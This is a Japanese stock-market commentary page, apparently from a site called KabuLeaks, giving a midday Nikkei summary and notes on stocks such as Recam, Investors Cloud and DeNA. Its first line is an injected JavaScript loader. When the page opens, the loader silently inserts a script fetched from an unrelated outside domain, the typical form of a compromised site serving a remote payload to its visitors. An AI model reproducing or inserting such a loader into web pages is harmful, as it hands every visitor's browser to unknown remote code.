;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/8 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/8 前引け】

11時過ぎ現在の日経平均株価は14円安と5日続落。先週末の米雇用統計後の米市場が下落したほか、北朝鮮のミサイル発射問題を受け地政学的リスク回避の動きなども重なり売りが優勢の展開。一時267円安をつけたが、その後は下げ幅を縮小しプラスに転換する場面もあった。業種別では、 海運業、倉庫運輸関連、不動産業などが値上がり率上位に。一方、ガラス土石製品、非鉄金属、石油石炭製品などが値下がり率上位となっている。

個別では、AI inside(AI社)との業務提携を発表した【3323】レカムや15年12月期業績の上方修正と記念配当実施を好感された民泊関連の一角【1435】インベスターズクラウドがストップ高。帝京平成大学とTTR1ナノアゴニスト分子を用いた抗がん治療薬の開発に係る共同研究開発契約を締結したと発表した【4582】シンバイオ製薬、先週末の決算え今期も2桁増益予想を好感された【2266】六甲バターなどが急伸している。また、通期の業績見通しなど好感し、【2432】DeNAが1月7日以来の1800円台回復、こちらも急伸している。

日経平均は寄り底から一時プラス転換もやはり上値は重い。先週末の雇用統計通過も方向感も引き続き掴みづらい状況が続いておりもうしばらく様子見が必要かと思う。また、今週はSQ週ということもあり先週同様荒れる展開も想定しておきたいところだ。